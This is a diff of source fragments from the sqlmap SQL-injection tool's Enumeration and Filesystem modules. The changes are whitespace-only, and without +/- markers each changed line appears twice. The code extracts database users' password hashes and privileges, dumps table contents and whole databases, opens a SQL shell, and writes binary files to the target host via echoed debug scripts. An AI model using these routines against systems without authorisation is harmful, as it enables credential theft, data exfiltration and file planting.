||||||
condition = ( Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")) )
|
condition = ( Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")) )
|
||||||
condition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
|
condition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
|
@ -319,7 +319,7 @@ class Enumeration:
|
||||||
if not user or user in retrievedUsers:
|
if not user or user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of password hashes "
|
infoMsg = "fetching number of password hashes "
|
||||||
infoMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -330,7 +330,7 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "unable to retrieve the number of password "
|
warnMsg = "unable to retrieve the number of password "
|
||||||
warnMsg += "hashes for user '%s'" % user
|
warnMsg += "hashes for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -338,7 +338,7 @@ class Enumeration:
|
||||||
infoMsg = "fetching password hashes for user '%s'" % user
|
infoMsg = "fetching password hashes for user '%s'" % user
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
plusOne = True
|
plusOne = True
|
||||||
|
@ -361,14 +361,14 @@ class Enumeration:
|
||||||
if passwords:
|
if passwords:
|
||||||
kb.data.cachedUsersPasswords[user] = passwords
|
kb.data.cachedUsersPasswords[user] = passwords
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the password "
|
warnMsg = "unable to retrieve the password "
|
||||||
warnMsg += "hashes for user '%s'" % user
|
warnMsg += "hashes for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
retrievedUsers.add(user)
|
retrievedUsers.add(user)
|
||||||
|
|
||||||
if not kb.data.cachedUsersPasswords:
|
if not kb.data.cachedUsersPasswords:
|
||||||
errMsg = "unable to retrieve the password "
|
errMsg = "unable to retrieve the password "
|
||||||
errMsg += "hashes for the database users"
|
errMsg += "hashes for the database users"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
@ -387,7 +387,7 @@ class Enumeration:
|
||||||
def __isAdminFromPrivileges(self, privileges):
|
def __isAdminFromPrivileges(self, privileges):
|
||||||
# In PostgreSQL the usesuper privilege means that the
|
# In PostgreSQL the usesuper privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
dbaCondition = ( Backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
|
dbaCondition = ( Backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
|
||||||
|
|
||||||
# In Oracle the DBA privilege means that the
|
# In Oracle the DBA privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
|
@ -424,13 +424,13 @@ class Enumeration:
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
condition = rootQuery.inband.condition2
|
condition = rootQuery.inband.condition2
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
|
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
condition = rootQuery.inband.condition2
|
condition = rootQuery.inband.condition2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
condition = rootQuery.inband.condition
|
condition = rootQuery.inband.condition
|
||||||
|
|
||||||
if conf.user:
|
if conf.user:
|
||||||
|
@ -454,7 +454,7 @@ class Enumeration:
|
||||||
|
|
||||||
if values:
|
if values:
|
||||||
for value in values:
|
for value in values:
|
||||||
user = None
|
user = None
|
||||||
privileges = set()
|
privileges = set()
|
||||||
|
|
||||||
for count in xrange(0, len(value)):
|
for count in xrange(0, len(value)):
|
||||||
|
@ -528,7 +528,7 @@ class Enumeration:
|
||||||
if not user or user in retrievedUsers:
|
if not user or user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of privileges "
|
infoMsg = "fetching number of privileges "
|
||||||
infoMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -554,7 +554,7 @@ class Enumeration:
|
||||||
|
|
||||||
return self.getPrivileges(query2=True)
|
return self.getPrivileges(query2=True)
|
||||||
|
|
||||||
warnMsg = "unable to retrieve the number of "
|
warnMsg = "unable to retrieve the number of "
|
||||||
warnMsg += "privileges for user '%s'" % user
|
warnMsg += "privileges for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -634,21 +634,21 @@ class Enumeration:
|
||||||
if privileges:
|
if privileges:
|
||||||
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the privileges "
|
warnMsg = "unable to retrieve the privileges "
|
||||||
warnMsg += "for user '%s'" % user
|
warnMsg += "for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
retrievedUsers.add(user)
|
retrievedUsers.add(user)
|
||||||
|
|
||||||
if not kb.data.cachedUsersPrivileges:
|
if not kb.data.cachedUsersPrivileges:
|
||||||
errMsg = "unable to retrieve the privileges "
|
errMsg = "unable to retrieve the privileges "
|
||||||
errMsg += "for the database users"
|
errMsg += "for the database users"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||||
|
|
||||||
def getRoles(self, query2=False):
|
def getRoles(self, query2=False):
|
||||||
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
|
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
|
||||||
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -656,13 +656,13 @@ class Enumeration:
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
warnMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
warnMsg += "back-end DBMS is MySQL < 5. database "
|
warnMsg += "back-end DBMS is MySQL < 5. database "
|
||||||
warnMsg += "names will be fetched from 'mysql' database"
|
warnMsg += "names will be fetched from 'mysql' database"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
warnMsg = "schema names are going to be used on Oracle "
|
warnMsg = "schema names are going to be used on Oracle "
|
||||||
warnMsg += "for enumeration as the counterpart to database "
|
warnMsg += "for enumeration as the counterpart to database "
|
||||||
warnMsg += "names on other DBMSes"
|
warnMsg += "names on other DBMSes"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -735,7 +735,7 @@ class Enumeration:
|
||||||
|
|
||||||
if bruteForce is None:
|
if bruteForce is None:
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
@ -747,7 +747,7 @@ class Enumeration:
|
||||||
tables = None
|
tables = None
|
||||||
|
|
||||||
if not tables:
|
if not tables:
|
||||||
errMsg = "cannot retrieve table names, "
|
errMsg = "cannot retrieve table names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
@ -854,7 +854,7 @@ class Enumeration:
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
infoMsg += "database '%s'" % db
|
infoMsg += "database '%s'" % db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -865,7 +865,7 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "unable to retrieve the number of "
|
warnMsg = "unable to retrieve the number of "
|
||||||
warnMsg += "tables for database '%s'" % db
|
warnMsg += "tables for database '%s'" % db
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -896,7 +896,7 @@ class Enumeration:
|
||||||
if tables:
|
if tables:
|
||||||
kb.data.cachedTables[db] = tables
|
kb.data.cachedTables[db] = tables
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the tables "
|
warnMsg = "unable to retrieve the tables "
|
||||||
warnMsg += "for database '%s'" % db
|
warnMsg += "for database '%s'" % db
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -940,13 +940,13 @@ class Enumeration:
|
||||||
return self.getSchema()
|
return self.getSchema()
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve column names, "
|
errMsg = "cannot retrieve column names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
@ -1043,7 +1043,7 @@ class Enumeration:
|
||||||
kb.data.cachedColumns[conf.db] = table
|
kb.data.cachedColumns[conf.db] = table
|
||||||
|
|
||||||
if not kb.data.cachedColumns and not conf.direct:
|
if not kb.data.cachedColumns and not conf.direct:
|
||||||
infoMsg = "fetching number of columns "
|
infoMsg = "fetching number of columns "
|
||||||
infoMsg += "for table '%s'" % conf.tbl
|
infoMsg += "for table '%s'" % conf.tbl
|
||||||
infoMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -1074,12 +1074,12 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
errMsg = "unable to retrieve the number of columns "
|
errMsg = "unable to retrieve the number of columns "
|
||||||
errMsg += "for table '%s' " % conf.tbl
|
errMsg += "for table '%s' " % conf.tbl
|
||||||
errMsg += "on database '%s'" % conf.db
|
errMsg += "on database '%s'" % conf.db
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
table = {}
|
table = {}
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
@ -1355,7 +1355,7 @@ class Enumeration:
|
||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if not conf.db:
|
if not conf.db:
|
||||||
warnMsg = "missing database parameter, sqlmap is going to "
|
warnMsg = "missing database parameter, sqlmap is going to "
|
||||||
warnMsg += "use the current database to dump table "
|
warnMsg += "use the current database to dump table "
|
||||||
warnMsg += "'%s' entries" % conf.tbl
|
warnMsg += "'%s' entries" % conf.tbl
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -1383,7 +1383,7 @@ class Enumeration:
|
||||||
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
|
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
|
||||||
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
|
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
|
||||||
else:
|
else:
|
||||||
errMsg = "missing column names, "
|
errMsg = "missing column names, "
|
||||||
errMsg += "can't dump table"
|
errMsg += "can't dump table"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
@ -1447,7 +1447,7 @@ class Enumeration:
|
||||||
entries = [ entries ]
|
entries = [ entries ]
|
||||||
|
|
||||||
entriesCount = len(entries)
|
entriesCount = len(entries)
|
||||||
index = 0
|
index = 0
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
colLen = len(column)
|
colLen = len(column)
|
||||||
|
@ -1591,7 +1591,7 @@ class Enumeration:
|
||||||
|
|
||||||
def dumpAll(self):
|
def dumpAll(self):
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
@ -1603,9 +1603,9 @@ class Enumeration:
|
||||||
infoMsg += "dump all entries of this database's tables only. "
|
infoMsg += "dump all entries of this database's tables only. "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
conf.tbl = None
|
conf.tbl = None
|
||||||
conf.col = None
|
conf.col = None
|
||||||
kb.data.cachedDbs = []
|
kb.data.cachedDbs = []
|
||||||
kb.data.cachedTables = self.getTables()
|
kb.data.cachedTables = self.getTables()
|
||||||
|
|
||||||
if kb.data.cachedTables:
|
if kb.data.cachedTables:
|
||||||
|
@ -1763,7 +1763,7 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "no database"
|
warnMsg = "no database"
|
||||||
if dbConsider == "1":
|
if dbConsider == "1":
|
||||||
warnMsg += "s like"
|
warnMsg += "s like"
|
||||||
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
|
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
|
||||||
|
@ -1792,12 +1792,12 @@ class Enumeration:
|
||||||
bruteForce = False
|
bruteForce = False
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve table names, "
|
errMsg = "cannot retrieve table names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
@ -1878,7 +1878,7 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "no databases have table"
|
warnMsg = "no databases have table"
|
||||||
if tblConsider == "1":
|
if tblConsider == "1":
|
||||||
warnMsg += "s like"
|
warnMsg += "s like"
|
||||||
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
||||||
|
@ -1947,12 +1947,12 @@ class Enumeration:
|
||||||
bruteForce = False
|
bruteForce = False
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve column names, "
|
errMsg = "cannot retrieve column names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
@ -2059,7 +2059,7 @@ class Enumeration:
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "no databases have tables containing column"
|
warnMsg = "no databases have tables containing column"
|
||||||
if colConsider == "1":
|
if colConsider == "1":
|
||||||
warnMsg += "s like"
|
warnMsg += "s like"
|
||||||
warnMsg += " '%s'" % column
|
warnMsg += " '%s'" % column
|
||||||
|
@ -2186,7 +2186,7 @@ class Enumeration:
|
||||||
return output
|
return output
|
||||||
else:
|
else:
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||||
warnMsg = "execution of custom SQL queries is only "
|
warnMsg = "execution of custom SQL queries is only "
|
||||||
warnMsg += "available when stacked queries are supported"
|
warnMsg += "available when stacked queries are supported"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
return None
|
return None
|
||||||
|
@ -2207,7 +2207,7 @@ class Enumeration:
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
|
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
|
@ -32,7 +32,7 @@ class Filesystem:
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.fileTblName = "sqlmapfile"
|
self.fileTblName = "sqlmapfile"
|
||||||
self.tblField = "data"
|
self.tblField = "data"
|
||||||
|
|
||||||
def __unbase64String(self, base64Str):
|
def __unbase64String(self, base64Str):
|
||||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||||
|
@ -41,7 +41,7 @@ class Filesystem:
|
||||||
|
|
||||||
def __unhexString(self, hexStr):
|
def __unhexString(self, hexStr):
|
||||||
if len(hexStr) % 2 != 0:
|
if len(hexStr) % 2 != 0:
|
||||||
errMsg = "for some reason(s) sqlmap retrieved an odd-length "
|
errMsg = "for some reason(s) sqlmap retrieved an odd-length "
|
||||||
errMsg += "hexadecimal string which it is not able to convert "
|
errMsg += "hexadecimal string which it is not able to convert "
|
||||||
errMsg += "to raw string"
|
errMsg += "to raw string"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -63,9 +63,9 @@ class Filesystem:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
fileLines = []
|
fileLines = []
|
||||||
fileSize = len(binaryData)
|
fileSize = len(binaryData)
|
||||||
lineAddr = 0x100
|
lineAddr = 0x100
|
||||||
lineLen = 20
|
lineLen = 20
|
||||||
|
|
||||||
fileLines.append("n %s" % chunkName)
|
fileLines.append("n %s" % chunkName)
|
||||||
fileLines.append("rcx")
|
fileLines.append("rcx")
|
||||||
|
@ -79,7 +79,7 @@ class Filesystem:
|
||||||
strLineChar = binascii.hexlify(lineChar)
|
strLineChar = binascii.hexlify(lineChar)
|
||||||
|
|
||||||
if not scrString:
|
if not scrString:
|
||||||
scrString = "e %x %s" % (lineAddr, strLineChar)
|
scrString = "e %x %s" % (lineAddr, strLineChar)
|
||||||
else:
|
else:
|
||||||
scrString += " %s" % strLineChar
|
scrString += " %s" % strLineChar
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ class Filesystem:
|
||||||
dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
|
dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
|
||||||
|
|
||||||
if dFileSize and dFileSize.isdigit():
|
if dFileSize and dFileSize.isdigit():
|
||||||
infoMsg = "the file has been successfully written and "
|
infoMsg = "the file has been successfully written and "
|
||||||
infoMsg += "its size is %s bytes" % dFileSize
|
infoMsg += "its size is %s bytes" % dFileSize
|
||||||
|
|
||||||
dFileSize = long(dFileSize)
|
dFileSize = long(dFileSize)
|
||||||
|
@ -126,7 +126,7 @@ class Filesystem:
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
warnMsg = "it looks like the file has not been written, this "
|
warnMsg = "it looks like the file has not been written, this "
|
||||||
warnMsg += "can occur if the DBMS process' user has no write "
|
warnMsg += "can occur if the DBMS process' user has no write "
|
||||||
warnMsg += "privileges in the destination path"
|
warnMsg += "privileges in the destination path"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -137,7 +137,7 @@ class Filesystem:
|
||||||
back-end DBMS underlying file system
|
back-end DBMS underlying file system
|
||||||
"""
|
"""
|
||||||
|
|
||||||
counter = 0
|
counter = 0
|
||||||
sqlQueries = []
|
sqlQueries = []
|
||||||
|
|
||||||
for fcEncodedLine in fcEncodedList:
|
for fcEncodedLine in fcEncodedList:
|
||||||
|
@ -194,23 +194,23 @@ class Filesystem:
|
||||||
back-end DBMS underlying file system
|
back-end DBMS underlying file system
|
||||||
"""
|
"""
|
||||||
|
|
||||||
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
|
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
|
||||||
chunkName = randomStr(lowercase=True)
|
chunkName = randomStr(lowercase=True)
|
||||||
fileScrLines = self.__binDataToScr(binaryData, chunkName)
|
fileScrLines = self.__binDataToScr(binaryData, chunkName)
|
||||||
forgedScrLines = []
|
forgedScrLines = []
|
||||||
cmd = ""
|
cmd = ""
|
||||||
charCounter = 0
|
charCounter = 0
|
||||||
maxLen = 512
|
maxLen = 512
|
||||||
|
|
||||||
logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName))
|
logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName))
|
||||||
|
|
||||||
for scrLine in fileScrLines:
|
for scrLine in fileScrLines:
|
||||||
forgedScrLine = "echo %s " % scrLine
|
forgedScrLine = "echo %s " % scrLine
|
||||||
forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr)
|
forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr)
|
||||||
forgedScrLines.append(forgedScrLine)
|
forgedScrLines.append(forgedScrLine)
|
||||||
|
|
||||||
for forgedScrLine in forgedScrLines:
|
for forgedScrLine in forgedScrLines:
|
||||||
cmd += "%s & " % forgedScrLine
|
cmd += "%s & " % forgedScrLine
|
||||||
charCounter += len(forgedScrLine)
|
charCounter += len(forgedScrLine)
|
||||||
|
|
||||||
if charCounter >= maxLen:
|
if charCounter >= maxLen:
|
||||||
|
@ -230,31 +230,31 @@ class Filesystem:
|
||||||
return chunkName
|
return chunkName
|
||||||
|
|
||||||
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
||||||
message = "do you want confirmation that the file '%s' " % dFile
|
message = "do you want confirmation that the file '%s' " % dFile
|
||||||
message += "has been successfully written on the back-end DBMS "
|
message += "has been successfully written on the back-end DBMS "
|
||||||
message += "file system? [Y/n] "
|
message += "file system? [Y/n] "
|
||||||
output = readInput(message, default="Y")
|
output = readInput(message, default="Y")
|
||||||
|
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "'unionReadFile' method must be defined "
|
errMsg = "'unionReadFile' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
errMsg = "'stackedReadFile' method must be defined "
|
errMsg = "'stackedReadFile' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "'unionWriteFile' method must be defined "
|
errMsg = "'unionWriteFile' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "'stackedWriteFile' method must be defined "
|
errMsg = "'stackedWriteFile' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
@ -265,7 +265,7 @@ class Filesystem:
|
||||||
|
|
||||||
